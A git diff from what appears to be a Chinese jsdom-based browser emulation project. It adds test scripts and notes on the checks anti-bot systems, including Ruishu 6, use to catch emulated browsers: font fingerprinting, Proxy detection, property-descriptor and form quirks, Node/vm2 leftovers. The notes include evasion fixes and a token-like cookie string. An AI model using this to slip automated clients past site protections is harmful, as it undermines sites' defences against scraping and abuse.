for Samsung;AR Crystalhei DB;Samsung Sans Medium;samsung-sans-num45;hans-sans-bold;Luminous_Script;SST Condensed;SamsungDevanagariRegular;Anjal Malayalam MN;SamsungThai(test);FZLanTingHei-M-GB18030;Hebrew OTS;GS45_Arab(AndroidOS);Samsung Sans Light;Choco cooky;helve-neue-thin;PN MohantyOT Medium;LG-FZKaTong-M19-V2.4;Droid Serif;SamsungSinhalaRegular;helvetica;LG-FZKaTong-M19-V2.2;Noto Sans Devanagari UI Bold;SST Light;DFPEmoji;weatherfontnew Regular;RobotoNum3R;DINPro-medium;Samsung Sans Num55;SST Heavy Italic;LGlock4 Regular_0805;Georgia;noto-sans-cjk;Telugu Sangam MN Bold;MIUI EX Normal;HYQiHei-75S Bold;NotoSansMyanmarZawgyi Bold;yunospro-black;helve-neue-normal;Luminous_Serif;TM MohantyOT Normal;SamsungSansNum-3Lv Light;Samsung Sans Num45;SmartGothic Medium;georgia;casual-font-type;Samsung Sans Bold;small-capitals;MFinance PRC Bold;FZLanTingHei_GB18030;SamsungArmenian;Roboto Bold;century-gothic-bold;x-sst-heavy;SST Light Italic;TharLon;x-sst-light;Dinbol Regular;SamsungBengaliRegular;KN MohantyOTSmall Medium;hypure;SamsungTamilRegular;Malayalam Sangam MN;Noto Sans Kannada UI;helve-neue;Helvetica LT 55 Roman;Noto Sans Kannada Bold;Sanpya;SamsungPunjabiRegular;samsung-sans-num4Lv;LG_Kannada;Samsung Sans Regular;Zawgyi-One;Droid Serif Bold Italic;FZKATJW;courier new;SamsungEmojiRegular;MIUI EX Bold;Android Emoji;Noto Naskh Arabic UI;LCD Com;Futura Medium BT;Vivo-extract;Bangla Sangam MN Bold;hans-sans-regular;SNum-3R;SNum-3T;hans-sans;SST Ultra Light;Roboto Regular;Roboto Light;Hanuman;newlggothic;DFHeiAW5-A;hans-sans-light;Plate Gothic;SNum-3L;Helvetica LT 45 Light;Myanmar Sangam Zawgyi Bold;lg-sans-serif-light;MIUI EX Light;Roboto Thin;SoMA Bold;Padauk;Samsung Sans;Spacious_SmallCap;sans-serif;DV MohantyOT Medium;Stable_Slap;monaco;Flyme-Light;fzzys-dospy;ScreenSans;clock2016;Roboto Condensed Bold Italic;Arial;KN Mohanty Medium;MotoyaLMaru W3 mono;Handset Condensed;Roboto Italic;HTC Hand;SST Ultra Light Italic;SST Vietnamese Roman;Noto Naskh Arabic UI Bold;chnfzxh-medium;SNumCond-3T;century-gothic-regular;default_roboto-light;Noto Sans Myanmar;Myanmar Sangam MN;Apple Color Emoji;weatherfontReg;SamsungMalayalamRegular;arial;Droid Serif Bold;CPo3 PRC Bold;MI LANTING;SamsungKorean-Regular;test45 Regular;spirit_time;Devanagari Sangam MN;ScreenSerif;Roboto;cursive-font-type;STHeiti_vivo;chnfzxh;Samsung ClockFont 3A;Roboto Condensed Regular;samsung-neo-num3R;GJ MohantyOT Medium;Chulho Neue Lock;roboto-num3L;helve-neue-ultraLightextended;SamsungOriyaRegular;SamsungSansNum-4Lv Light;MYingHei_18030_C2-Bold;DFPShaoNvW5-GB;Roboto Black;helve-neue-ultralight;gm_xihei;LGlock4 Light_0805;Gujarati Sangam MN;Malayalam Sangam MN Bold;roboto-num3R;STXihei_vivo;FZZhunYuan_GB18030;noto-sans-cjk-light;coloros;Noto Sans Gurmukhi;Noto Sans Symbols;Roboto Light Italic;Lohit Tamil;cursive;default_roboto;BhashitaComplexSans Bold;LG_Number_Roboto Thin;monospaced-without-serifs;Helvetica LT 35 Thin;samsung-sans-num3LV;DINPro;Jomolhari;sans-serif-light;helve-neue-black;Lohit Bengali;Myanmar Sangam Zawgyi;Droid Serif Italic;Roboto Bold Italic;NanumGothic;Sony Mobile UD Gothic Regular;Georgia Bold Italic;samsung-sans-num3Lv;yunos-thin;samsung-neo-num3T-cond;Noto Sans Myanmar UI Bold;lgserif;FZYouHei-R-GB18030;Lohit Punjabi;baskerville;samsung-sans-num4Tv;samsung-sans-thin;LG Emoji;AnjaliNewLipi;SamsungSansNum-4T Thin;SamsungKorean-Bold;miuiex-light;Noto Sans Kannada;Roboto Normal Italic;Georgia Italic;sans-serif-medium;Smart Zawgyi;Roboto Condensed Italic;Noto Sans Kannada UI Bold;DFP Sc Sans Heue30_103;LG_Number_Roboto Bold;Padauk Book;x-sst-condensed;Sunshine-Uchen;Roboto Black Italic;Ringo Color Emoji;Devanagari OTS;Smart Zawgyi Pro;FZLanTingHei-M-GBK;AndroidClock-Large Regular;proportionally-spaced-without-serifs;Cutive Mono;times;LG Smart_H test Bold;DINPro-Light;sans-serif-black;Lohit Devanagari;proportionally-spaced-with-serifs;samsung-sans-num3L;MYoung PRC Medium;DFGothicPW5-BIG5HK-SONY;hans-sans-medium;SST Heavy;LG-FZZhunYuan-M02-V2.2;MyanmarUNew Regular;Noto Naskh Arabic Bold;SamsungGujarathiRegular;fantasy;helve-neue-light;Helvetica Neue OTS Bold;noto-sans-cjk-bold;samsung-sans-num3R;Lindsey Samsung;samsung-sans-num3T;ScreenSerifMono;ETrump Myanmar_ZW;helve-neue-thinextended;Noto Naskh Arabic;LG_Gujarati;Smart_Monospaced;Tamil Sangam MN;LG Emoji NonAME;Roboto Condensed Light Italic;gm_jingkai;FZLanTingKanHei_GB18030;lgtravel;palatino;Georgia Bold;Droid Sans;LG_Punjabi;SmartGothic Bold;Samsung Sans Thin;SST Condensed Bold;Comics_Narrow;courier;Oriya Sangam MN;helve-neue-lightextended;FZLanTingHei-R-GB18030;AR CrystalheiHKSCS DB;serif;RTWSYueRoudGoG0v1-Regular;MiaoWu_prev;FZY1K;LG_Number_Roboto Regular;AndroidClock;SoMA Regular;HYQiHei-40S Lightx;lg-sans-serif;Dancing Script Bold;default;sec-roboto-light;ColorOSUI-Regular;test Regular;Tamil Sangam MN Bold;FZYingBiXingShu-S16;RobotoNum3L Light;monospaced-with-serifs;samsung-sans-num35;Cool jazz;SamsungNeoNum-3L;STXingkai;ScreenSansMono;DFPWaWaW5-GB;SamsungSansNum-3L Light;Bangla Sangam MN;Gurmukhi Sangam MN;SECRobotoLight;hyfonxrain;MYingHeiGB18030C-Bold;samsung-sans-light;Helvetica LT 65 Medium;Droid Sans Fallback;Roboto Test1 Bold;Noto Sans Myanmar Bold;sans-serif-condensed-custom;SamsungNeoNum-3T;Samsung Sans Num35;monospace;TL Mohanty Medium;helve-neue-medium;LTHYSZK;Roboto Condensed custome Bold;Myanmar3;Droid Sans Devanagari;ShaoNv_prev;samsung-neo-num3L;FZLanTingHei-EL-GBK;yunos;samsung-neo-num3T;Times New Roman;helve-neue-bold;noto-sans-cjk-regular;Noto Sans Gurmukhi UI Bold;DINPro-black;FZLanTingHei-EL-GB18030;SST Vietnamese Medium;Roboto Condensed Light;SST Vietnamese Bold;AR DJ-KK;Droid Sans SEMC;Noto Sans Myanmar UI;Coming Soon;MYuppy PRC Medium;Rosemary;Lohit Gujarati;Roboto Condensed custom Bold;FZLanTingHeiS-R-GB;Helvetica Neue OTS;Kaiti_prev;Roboto-BigClock;FZYBKSJW;Handset Condensed Bold;SamsungGeorgian;Dancing Script;sans-serif-condensed;hans-sans-thin;SamsungSansNum-4Tv Thin;Lohit Odia;BhashitaComplexSans".split(';') + let divTag = document.createElement("div"); + divTag.innerHTML = 'fontTest'; + document.body.appendChild(divTag); + let span = divTag.children[0]; + let w = span.offsetWidth; + let h = span.offsetHeight; + for (let i = 0; i < testFont.length; i++) { + span.style.fontFamily = testFont[i]; + if (w !== span.offsetWidth || h !== span.offsetHeight) { + fonts.push(testFont[i]); + + } + } + let result = btoa(fonts.toString()); + // console.log(result); + + if (result == 'VmVyZGFuYSxIZWx2ZXRpY2EgTmV1ZSBMVCBQcm8gMzUgVGhpbix0YWhvbWEsdmVyZGFuYSx0aW1lcyBuZXcgcm9tYW4sQ291cmllciBOZXcsTWljcm9zb2Z0IEhpbWFsYXlhLGhlbHZldGljYSxMRy1GWkthVG9uZy1NMTktVjIuMixHZW9yZ2lhLGdlb3JnaWEsY291cmllciBuZXcsQXJpYWwsYXJpYWwsY3Vyc2l2ZSx0aW1lcyxmYW50YXN5LGNvdXJpZXIsc2VyaWYsbW9ub3NwYWNlLFRpbWVzIE5ldyBSb21hbg==') { + endsign = endsign + result + } else { + console.log(`字体指纹被检测`); + } + +} +test_font_fp() \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/knowledge/检测/瑞数6form检测.js b/env_xbb_lastest_jsdom/knowledge/检测/瑞数6form检测.js new file mode 100644 index 00000000..952f949c --- /dev/null +++ b/env_xbb_lastest_jsdom/knowledge/检测/瑞数6form检测.js @@ -0,0 +1,14 @@ +form = document.createElement("form"); +form.id = "__Zm9ybS5pZAo__"; +form.action = "https://ucenter.miit.gov.cn/login.jsp"; +document.body.appendChild(form); +if (window["__Zm9ybS5pZAo__"] !== form){console.log("你被检测了1")} +if (!("__Zm9ybS5pZAo__" in window) || window.hasOwnProperty("__Zm9ybS5pZAo__")){console.log("你被检测了2")} +if (!(delete window["__Zm9ybS5pZAo__"])){console.log("你被检测了3")} +if (window["__Zm9ybS5pZAo__"] !== form){console.log("你被检测了4")} +if (Object.getOwnPropertyDescriptor(window, "__Zm9ybS5pZAo__")){console.log("你被检测了5")} +window["__Zm9ybS5pZAo__"] = 1; +if (window["__Zm9ybS5pZAo__"] === form){console.log("你被检测了6")} +if (!Object.getOwnPropertyDescriptor(window, "__Zm9ybS5pZAo__")){console.log("你被检测了7")} +delete window["__Zm9ybS5pZAo__"]; +if (window["__Zm9ybS5pZAo__"] !== form){console.log("你被检测了8")} \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/knowledge/检测/重复代理检测.js b/env_xbb_lastest_jsdom/knowledge/检测/重复代理检测.js new file mode 100644 index 00000000..54c481c2 --- /dev/null +++ b/env_xbb_lastest_jsdom/knowledge/检测/重复代理检测.js @@ -0,0 +1,8 @@ +console.log(top==window) +console.log(top==parent) + +console.log(top.self==window) +console.log(top.self.window==window.top.self) +console.log(self.window.top==top.window.self); +console.log(self.window.top.self.top==top.window.self); +console.log(self.window.top.self.top==top.window.self.window); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/knowledge/检测点.js b/env_xbb_lastest_jsdom/knowledge/检测点.js new file mode 100644 index 00000000..c508629d --- /dev/null +++ b/env_xbb_lastest_jsdom/knowledge/检测点.js @@ -0,0 +1,250 @@ +//html 放入框架的解析器中 +html = ` + + + + +
+ + +
+
+ bobo1 +
+
+
+ +
+ bobo2 +
+ + + + + + +` + + +var endsign = '' + + + +function test_window() { + if (self.window.top.self.top == top.window.self.window || self.window.top.self.top == top.window.self || self.window.top.self.top.parent == top.window.self) { + endsign += 1 + + } else { + console.log('self window top parent 可以被检测 ') + } + +} +test_window() + +function test_console() { + if (JSON.stringify(console) == '{"memory":{}}') { + if (JSON.stringify([console, 1, 2, 3]) == '[{"memory":{}},1,2,3]') { + endsign += 1 + + } else { + console.log('JSON.stringify([console, 1, 2, 3]) 可以被检测 ') + } + } else { + console.log('JSON.stringify(console) 可以被检测 ') + } +} + +test_console() + +function test_document_activeElement() { + try { + Document.prototype.activeElement + console.log('Document.prototype.activeElement 可以被检测'); + } catch (e) { + endsign += 1 + try { + Window.prototype.PERSISTENT + endsign += 1 + } catch { + console.log('Window.prototype.PERSISTENT 可以被检测'); + + } + } +} +test_document_activeElement() + +function test_window_location() { + if (Object.getOwnPropertyDescriptor(window, 'location').configurable) { + console.log(`window location 被检测`); + } else { + // endsign += 'location' + } +} +test_window_location() + + + + +function test_tostring() { + //tostring检测 + if (console.log + '' == 'function log() { [native code] }' || console.log.toString().toString() == 'function log() { [native code] }') { + // endsign += 'G' + } else { + console.log(`console.log tostring 可以被检测 `) + } +} +test_tostring() + + + + + + +function test_append() { + var bbb = document.createElement('div') + let aaa = document.body.append(bbb) + if (aaa) { + console.log(`document.body.append 可以被检测`); + } + let cccc = document.body.appendChild(bbb) + if (cccc = undefined) { + console.log(`document.body.append 可以被检测`); + + } +} +test_append() + + + + +function test_define() { + var aaa = Object.defineProperty(document.documentElement.children, 0, { + value: 10 + }) + if (aaa[0]instanceof HTMLHeadElement) { + } else { + console.log(`Object.defineProperty(document.documentElement.children, 0,{value:10}) 被检测`); + } + +} + +function s() {} +var aaaa = Object.getOwnPropertyDescriptors(this).s.configurable +if (aaaa) { + console.log(`Object.getOwnPropertyDescriptors(this).s.configurable 可以被检测`) +} else { +} + +function test_entries() { + let list_ = Object.entries(Document) + if (list_.length > 0) { + console.log(`Object.entries(Document) 可以被检测`); + } +} +test_entries() + +function window_require() { + let require = window.require + if (require) { + console.log(`window.require 可以被检测`); + } +} + +window_require() + + + +function test_action() { + let form = document.createElement("form"); + let input1 = document.createElement("input"); + input1.id = "username"; + input1.content = "action"; + input1.name = "action"; + form.appendChild(input1); + let input2 = document.createElement("input"); + input2.name = "textContent"; + input2.id = "password"; + form.appendChild(input2); + let input3 = document.createElement("input"); + input3.id = "innerText"; + input3.type = "submit"; + input3.name = "id"; + form.appendChild(input3); + a = form.action; + b = form.textContent; + c = form.id; + d = form.innerText; + if (a.name == 'action' && a.id == 'username' && b.name == 'textContent' && b.id == 'password' && c.id == "innerText" && c.name == 'id' && d.id == 'innerText' && d.name == 'id') { + console.log(`test_action 检测通过`) + } else { + console.log(`test_action 可以被检测`); + } + +} + +test_action() + + + + +function test_vm2_FAIL() { + if (window.VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL) { + console.log(`window.VM2_INTERNAL_STATE_DO_NOT_USE_OR_PROGRAM_WILL_FAIL 可以被检测`) + } +} +test_vm2_FAIL() + + + +//新增 +// +window.__proto__=Location.prototype +// +function check(){ + try{ + location.__proto__ = {}; + console.log("被检测了"); + }catch(e){ + + } + if(location.__proto__ !== Location.prototype){ + console.log("被检测了"); + } +} +check(); +// +this.__proto__={} + +// +var script = document.createElement("script"); +document.body.appendChild(script); +var htmlCollect = document.body.getElementsByTagName("script"); +var desp = Object.getOwnPropertyDescriptors(htmlCollect); +var divcollect=document.body.getElementsByTagName("div"); +var div2 = Object.getOwnPropertyDescriptors(divcollect); +debugger +for(let i in desp){ + if (desp[i]["enumerable"] && desp[i]["configurable"] && !desp[i]["writable"]){ + try{ + Object.defineProperty(htmlCollect, "0", {value:1}); + console.log("[*] 111你被检测了") + }catch (e) { + + } + }else{ + console.log("[*] 222你被检测了"); + } + let result = delete htmlCollect[0]; + if (result){ + console.log("[*] 333你被检测了"); + }else{ + document.body.removeChild(htmlCollect[0]); + htmlCollect.length === 0 && Object.getOwnPropertyDescriptor(htmlCollect, 0) && console.log("[*] 444你被检测了") + } + +} +htmlCollect === document.body.getElementsByTagName("script") || console.log("[*] 555你被检测了") \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/knowledge/检测点.txt b/env_xbb_lastest_jsdom/knowledge/检测点.txt new file mode 100644 index 00000000..dd30eef3 --- /dev/null +++ b/env_xbb_lastest_jsdom/knowledge/检测点.txt @@ -0,0 +1,111 @@ +//WindowProperties 删除构造方法 +delete WindowProperties.prototype.constructor; + + + +//代理失效 +var window_=this; 底下用window_ + +//两个都需要补 +Object.getOwnPropertyDescriptors(Window) +Object.getOwnPropertyDescriptors(Window.prototype) + +//location检测 + +//代理检测 +// self=window; +// top=window +// window==self ; ///true +// window =new Proxy(window,{}); +// window==self;//false + +//需要连续赋值,可以过代理检测 +// top=self=window=new Proxy(window,{}) + + + +//解决重复代理 +bodavm.memory.symbolProxy=Symbol("proxy") //独一无二的属性,标记是否代理 +if (bodavm.memory.symbolProxy in obj){ + return obj +} + //解决重复代理 +Object.defineProperty(obj,bodavm.memory.symbolProxy,{ + configurable:false, + enumerable:false, + writable:false, + value:true +}) + + + + +//代理失效 ,代理的对象没有被代理上 +console.log(document.createElement===document.createElement) + + + + +//实现Document.prototype.activeElement()调用报错 +if(Object.getOwnPropertyDescriptor(obj,"constructor")!==undefined){ + if (Object.getOwnPropertyDescriptor(self,"constructor") !==undefined){ + return bodavm.toolsFunc.throwError("TypeError","Illegal invocation") + } +} + +//过滤bodavm.memory.symbolProxy与"eval" + + +//node环境和vm2环境中的监测点过滤 +// 删除浏览器中不存在的对象 +delete global; +delete GLOBAL; +delete VMError; +delete Buffer; +delete WindowProperties +delete process; +delete root; + + +//在原型对象上不能通过原型对象获取,不在自身上可以通过自身获取 +a=document.createElement("div") +a.align=123 +Object.getOwnPropertyDescriptors(a,'align') + + + +//鼠标轨迹 + + +//检测点 +function test(){} +Object.getOwnPropertyDescriptor(window,'test') + + + +// +var r={} +r.__proto__=document +r.location + +var b={} +b=Screen.prototype +b.width +var b={} +b.__proto__=Screen.prototype +b.width + + +//document.all + + + +//window.length iframe + + + +// JSON.stringify(console) + + + +"FSSBBIl1UgzbN7N80T=4B.zKNh3jQsKMZLAyeqQs7QJwaZPeSafzY3KH2cdc0RyVUYgsIPrb_buCwzg59VBqHJbjQAXky9B_J5am_szA1nWrHhagAii3e0x52q2c0st02n4qjdiGKI_Q5W2b2xEaLujGn0notNXB0uevYFRYKwQ0R.naBqJsjWQK8SQD9HVg8kzNCXC0W1OLMLWFS4AGvo2i_BMtcTi.IyV2X5xsDcz9;" \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/knowledge/检测点encrypt.js b/env_xbb_lastest_jsdom/knowledge/检测点encrypt.js new file mode 100644 index 00000000..2637e72f --- /dev/null +++ b/env_xbb_lastest_jsdom/knowledge/检测点encrypt.js @@ -0,0 +1,218 @@ + +html = ` + + + + +
+ + +
+
+ bobo1 +
+
+ bobo2 +
+ + + + +` + +var endsign = '' +if (document.documentElement !== document.documentElement) { + + endsign += 1 +} + +if (self.window.top.self.top == top.window.self.window || self.window.top.self.top == top.window.self || self.window.top.self.top.parent == top.window.self) { + endsign += 1 + +} else { + +} + + +if (JSON.stringify(console) == '{"memory":{}}') { + if ( + JSON.stringify([console, 1, 2, 3]) == '[{"memory":{}},1,2,3]') { + endsign += 1 + + } else { + + } +} else { + +} + + +try { + Document.prototype.activeElement + +} catch (e) { + endsign += 1 + try { + Window.prototype.PERSISTENT + endsign += 1 + } catch { + + + } +} + + +//setimetime检测 +var testTimeList = [] +var testTimeList2 = [] +var testTimeList3 = [] + + + + + +if (Object.getOwnPropertyDescriptor(window, 'location').configurable) { + +} + + + + + + +let fonts = []; +let testFont = "DFPhelvetica;Tibetan Machine Uni;Cooljazz;Verdana;Helvetica Neue LT Pro 35 Thin;tahoma;LG Smart_H test Regular;DINPro-light;Helvetica LT 43 Light Extended;HelveM_India;SECRobotoLight Bold;OR Mohanty Unicode Regular;Droid Sans Thai;Kannada Sangam MN;DDC Uchen;clock2016_v1.1;SamsungKannadaRegular;MI LANTING Bold;SamsungSansNum3L Light;verdana;HelveticaNeueThin;SECFallback;SamsungEmoji;Telugu Sangam MN;Carrois Gothic SC;Flyme Light Roboto Light;SoMA-Digit Light;SoMC Sans Regular;HYXiYuanJ;sst;samsung-sans-num4T;gm_mengmeng;Lohit Kannada;times new roman;samsung-sans-num4L;serif-monospace;SamsungSansNum-3T Thin;ColorOSUI-XThin;Droid Naskh Shift Alt;SamsungTeluguRegular;Bengali OTS;MI LanTing_GB Outside YS;FZMiaoWu_GB18030;helve-neue-regular;SST Medium;Courier New;Khmer Mondulkiri Bold;Helvetica LT 23 Ultra Light Extended;Helvetica LT 25 Ultra Light;Roboto Medium;Droid Sans Bold;goudy;sans-serif-condensed-light;SFinder;noto-sans-cjk-medium;miui;MRocky PRC Bold;AndroidClock Regular;SamsungSansNum-4L Light;sans-serif-thin;AaPangYaer;casual;BN MohantyOT Bold;x-sst;NotoSansMyanmarZawgyi;Helvetica LT 33 Thin Extended;AshleyScriptMT Alt;Noto Sans Devanagari UI;Roboto Condensed Bold;Roboto Medium Italic;miuiex;Noto Sans Gurmukhi UI;SST Vietnamese Light;LG_Oriya;hycoffee;x-sst-ultralight;DFHeiAW7-A;FZZWXBTOT_Unicode;Devanagari Sangam MN Bold;sans-serif-monospace;Padauk Book Bold;LG-FZYingBiKaiShu-S15-V2.2;LG-FZYingBiKaiShu-S15-V2.3;HelveticaNeueLT Pro 35 Th;Microsoft Himalaya;SamsungSansFallback;SST Medium Italic;AndroidEmoji;SamsungSansNum-3R;ITC Stone Serif;sans-serif-smallcaps;x-sst-medium;LG_Sinhalese;Roboto Thin Italic;century-gothic;Clockopia;Luminous_Sans;Floridian Script Alt;Noto Sans Gurmukhi Bold;LTHYSZK Bold;GS_Thai;SamsungNeoNum_3T_2;Arabic;hans-sans-normal;Lohit Telugu;HYQiHei-50S Light;Lindsey for Samsung;AR Crystalhei DB;Samsung Sans Medium;samsung-sans-num45;hans-sans-bold;Luminous_Script;SST Condensed;SamsungDevanagariRegular;Anjal Malayalam MN;SamsungThai(test);FZLanTingHei-M-GB18030;Hebrew OTS;GS45_Arab(AndroidOS);Samsung Sans Light;Choco cooky;helve-neue-thin;PN MohantyOT Medium;LG-FZKaTong-M19-V2.4;Droid Serif;SamsungSinhalaRegular;helvetica;LG-FZKaTong-M19-V2.2;Noto Sans Devanagari UI Bold;SST Light;DFPEmoji;weatherfontnew Regular;RobotoNum3R;DINPro-medium;Samsung Sans Num55;SST Heavy Italic;LGlock4 Regular_0805;Georgia;noto-sans-cjk;Telugu Sangam MN Bold;MIUI EX Normal;HYQiHei-75S Bold;NotoSansMyanmarZawgyi Bold;yunospro-black;helve-neue-normal;Luminous_Serif;TM MohantyOT Normal;SamsungSansNum-3Lv Light;Samsung Sans Num45;SmartGothic Medium;georgia;casual-font-type;Samsung Sans Bold;small-capitals;MFinance PRC Bold;FZLanTingHei_GB18030;SamsungArmenian;Roboto Bold;century-gothic-bold;x-sst-heavy;SST Light Italic;TharLon;x-sst-light;Dinbol Regular;SamsungBengaliRegular;KN MohantyOTSmall Medium;hypure;SamsungTamilRegular;Malayalam Sangam MN;Noto Sans Kannada UI;helve-neue;Helvetica LT 55 Roman;Noto Sans Kannada Bold;Sanpya;SamsungPunjabiRegular;samsung-sans-num4Lv;LG_Kannada;Samsung Sans Regular;Zawgyi-One;Droid Serif Bold Italic;FZKATJW;courier new;SamsungEmojiRegular;MIUI EX Bold;Android Emoji;Noto Naskh Arabic UI;LCD Com;Futura Medium BT;Vivo-extract;Bangla Sangam MN Bold;hans-sans-regular;SNum-3R;SNum-3T;hans-sans;SST Ultra Light;Roboto Regular;Roboto Light;Hanuman;newlggothic;DFHeiAW5-A;hans-sans-light;Plate Gothic;SNum-3L;Helvetica LT 45 Light;Myanmar Sangam Zawgyi Bold;lg-sans-serif-light;MIUI EX Light;Roboto Thin;SoMA Bold;Padauk;Samsung Sans;Spacious_SmallCap;sans-serif;DV MohantyOT Medium;Stable_Slap;monaco;Flyme-Light;fzzys-dospy;ScreenSans;clock2016;Roboto Condensed Bold Italic;Arial;KN Mohanty Medium;MotoyaLMaru W3 mono;Handset Condensed;Roboto Italic;HTC Hand;SST Ultra Light Italic;SST Vietnamese Roman;Noto Naskh Arabic UI Bold;chnfzxh-medium;SNumCond-3T;century-gothic-regular;default_roboto-light;Noto Sans Myanmar;Myanmar Sangam MN;Apple Color Emoji;weatherfontReg;SamsungMalayalamRegular;arial;Droid Serif Bold;CPo3 PRC Bold;MI LANTING;SamsungKorean-Regular;test45 Regular;spirit_time;Devanagari Sangam MN;ScreenSerif;Roboto;cursive-font-type;STHeiti_vivo;chnfzxh;Samsung ClockFont 3A;Roboto Condensed Regular;samsung-neo-num3R;GJ MohantyOT Medium;Chulho Neue Lock;roboto-num3L;helve-neue-ultraLightextended;SamsungOriyaRegular;SamsungSansNum-4Lv Light;MYingHei_18030_C2-Bold;DFPShaoNvW5-GB;Roboto Black;helve-neue-ultralight;gm_xihei;LGlock4 Light_0805;Gujarati Sangam MN;Malayalam Sangam MN Bold;roboto-num3R;STXihei_vivo;FZZhunYuan_GB18030;noto-sans-cjk-light;coloros;Noto Sans Gurmukhi;Noto Sans Symbols;Roboto Light Italic;Lohit Tamil;cursive;default_roboto;BhashitaComplexSans Bold;LG_Number_Roboto Thin;monospaced-without-serifs;Helvetica LT 35 Thin;samsung-sans-num3LV;DINPro;Jomolhari;sans-serif-light;helve-neue-black;Lohit Bengali;Myanmar Sangam Zawgyi;Droid Serif Italic;Roboto Bold Italic;NanumGothic;Sony Mobile UD Gothic Regular;Georgia Bold Italic;samsung-sans-num3Lv;yunos-thin;samsung-neo-num3T-cond;Noto Sans Myanmar UI Bold;lgserif;FZYouHei-R-GB18030;Lohit Punjabi;baskerville;samsung-sans-num4Tv;samsung-sans-thin;LG Emoji;AnjaliNewLipi;SamsungSansNum-4T Thin;SamsungKorean-Bold;miuiex-light;Noto Sans Kannada;Roboto Normal Italic;Georgia Italic;sans-serif-medium;Smart Zawgyi;Roboto Condensed Italic;Noto Sans Kannada UI Bold;DFP Sc Sans Heue30_103;LG_Number_Roboto Bold;Padauk Book;x-sst-condensed;Sunshine-Uchen;Roboto Black Italic;Ringo Color Emoji;Devanagari OTS;Smart Zawgyi Pro;FZLanTingHei-M-GBK;AndroidClock-Large Regular;proportionally-spaced-without-serifs;Cutive Mono;times;LG Smart_H test Bold;DINPro-Light;sans-serif-black;Lohit Devanagari;proportionally-spaced-with-serifs;samsung-sans-num3L;MYoung PRC Medium;DFGothicPW5-BIG5HK-SONY;hans-sans-medium;SST Heavy;LG-FZZhunYuan-M02-V2.2;MyanmarUNew Regular;Noto Naskh Arabic Bold;SamsungGujarathiRegular;fantasy;helve-neue-light;Helvetica Neue OTS Bold;noto-sans-cjk-bold;samsung-sans-num3R;Lindsey Samsung;samsung-sans-num3T;ScreenSerifMono;ETrump Myanmar_ZW;helve-neue-thinextended;Noto Naskh Arabic;LG_Gujarati;Smart_Monospaced;Tamil Sangam MN;LG Emoji NonAME;Roboto Condensed Light Italic;gm_jingkai;FZLanTingKanHei_GB18030;lgtravel;palatino;Georgia Bold;Droid Sans;LG_Punjabi;SmartGothic Bold;Samsung Sans Thin;SST Condensed Bold;Comics_Narrow;courier;Oriya Sangam MN;helve-neue-lightextended;FZLanTingHei-R-GB18030;AR CrystalheiHKSCS DB;serif;RTWSYueRoudGoG0v1-Regular;MiaoWu_prev;FZY1K;LG_Number_Roboto Regular;AndroidClock;SoMA Regular;HYQiHei-40S Lightx;lg-sans-serif;Dancing Script Bold;default;sec-roboto-light;ColorOSUI-Regular;test Regular;Tamil Sangam MN Bold;FZYingBiXingShu-S16;RobotoNum3L Light;monospaced-with-serifs;samsung-sans-num35;Cool jazz;SamsungNeoNum-3L;STXingkai;ScreenSansMono;DFPWaWaW5-GB;SamsungSansNum-3L Light;Bangla Sangam MN;Gurmukhi Sangam MN;SECRobotoLight;hyfonxrain;MYingHeiGB18030C-Bold;samsung-sans-light;Helvetica LT 65 Medium;Droid Sans Fallback;Roboto Test1 Bold;Noto Sans Myanmar Bold;sans-serif-condensed-custom;SamsungNeoNum-3T;Samsung Sans Num35;monospace;TL Mohanty Medium;helve-neue-medium;LTHYSZK;Roboto Condensed custome Bold;Myanmar3;Droid Sans Devanagari;ShaoNv_prev;samsung-neo-num3L;FZLanTingHei-EL-GBK;yunos;samsung-neo-num3T;Times New Roman;helve-neue-bold;noto-sans-cjk-regular;Noto Sans Gurmukhi UI Bold;DINPro-black;FZLanTingHei-EL-GB18030;SST Vietnamese Medium;Roboto Condensed Light;SST Vietnamese Bold;AR DJ-KK;Droid Sans SEMC;Noto Sans Myanmar UI;Coming Soon;MYuppy PRC Medium;Rosemary;Lohit Gujarati;Roboto Condensed custom Bold;FZLanTingHeiS-R-GB;Helvetica Neue OTS;Kaiti_prev;Roboto-BigClock;FZYBKSJW;Handset Condensed Bold;SamsungGeorgian;Dancing Script;sans-serif-condensed;hans-sans-thin;SamsungSansNum-4Tv Thin;Lohit Odia;BhashitaComplexSans".split(';') +let divTag = document.createElement("div"); +divTag.innerHTML = 'fontTest'; +document.body.appendChild(divTag); +let span = divTag.children[0]; +let w = span.offsetWidth;// 假字体得到的默认宽度 +let h = span.offsetHeight;// 假字体得到的默认高度 +for (let i = 0; i < testFont.length; i++) { + span.style.fontFamily = testFont[i]; + if (w !== span.offsetWidth || h !== span.offsetHeight) { + fonts.push(testFont[i]); + + } +} +let result = btoa(fonts.toString()); +// + +if (result == 'VmVyZGFuYSxIZWx2ZXRpY2EgTmV1ZSBMVCBQcm8gMzUgVGhpbix0YWhvbWEsdmVyZGFuYSx0aW1lcyBuZXcgcm9tYW4sQ291cmllciBOZXcsTWljcm9zb2Z0IEhpbWFsYXlhLGhlbHZldGljYSxMRy1GWkthVG9uZy1NMTktVjIuMixHZW9yZ2lhLGdlb3JnaWEsY291cmllciBuZXcsQXJpYWwsYXJpYWwsY3Vyc2l2ZSx0aW1lcyxmYW50YXN5LGNvdXJpZXIsc2VyaWYsbW9ub3NwYWNlLFRpbWVzIE5ldyBSb21hbg==') { + endsign = endsign + result +} else { + +} + + + + + +let divHTMLCollection = document.getElementsByTagName('div') +let bobocollect = divHTMLCollection.length +if (divHTMLCollection.__proto__ + '') { + if (divHTMLCollection[0].parentNode.parentNode.parentNode.nodeName == '#document') { + if ( + divHTMLCollection[0].parentNode.parentNode.parentNode.parentNode == null + ) { + endsign += 'B' + } else { + + + } + } else { + + } + if ( + divHTMLCollection[0].parentElement.parentElement.parentElement == null + + ) { + endsign += 'C' + } else { + + + } + + divHTMLCollection[0].parentNode.removeChild(divHTMLCollection[0]) + divHTMLCollection[0].parentNode.removeChild(divHTMLCollection[0]) + if (bobocollect > divHTMLCollection.length) { + endsign += 'DD' + } else { + + + } + if (divHTMLCollection[0].innerHTML.indexOf('bobo2') > 0) { + endsign += 'D__' + } else { + + } +} else { + +} + + +try { + var bobo__ = {} + bobo__.__proto__ = location + bobo__.href + + +} catch { + endsign += 'E' +} + 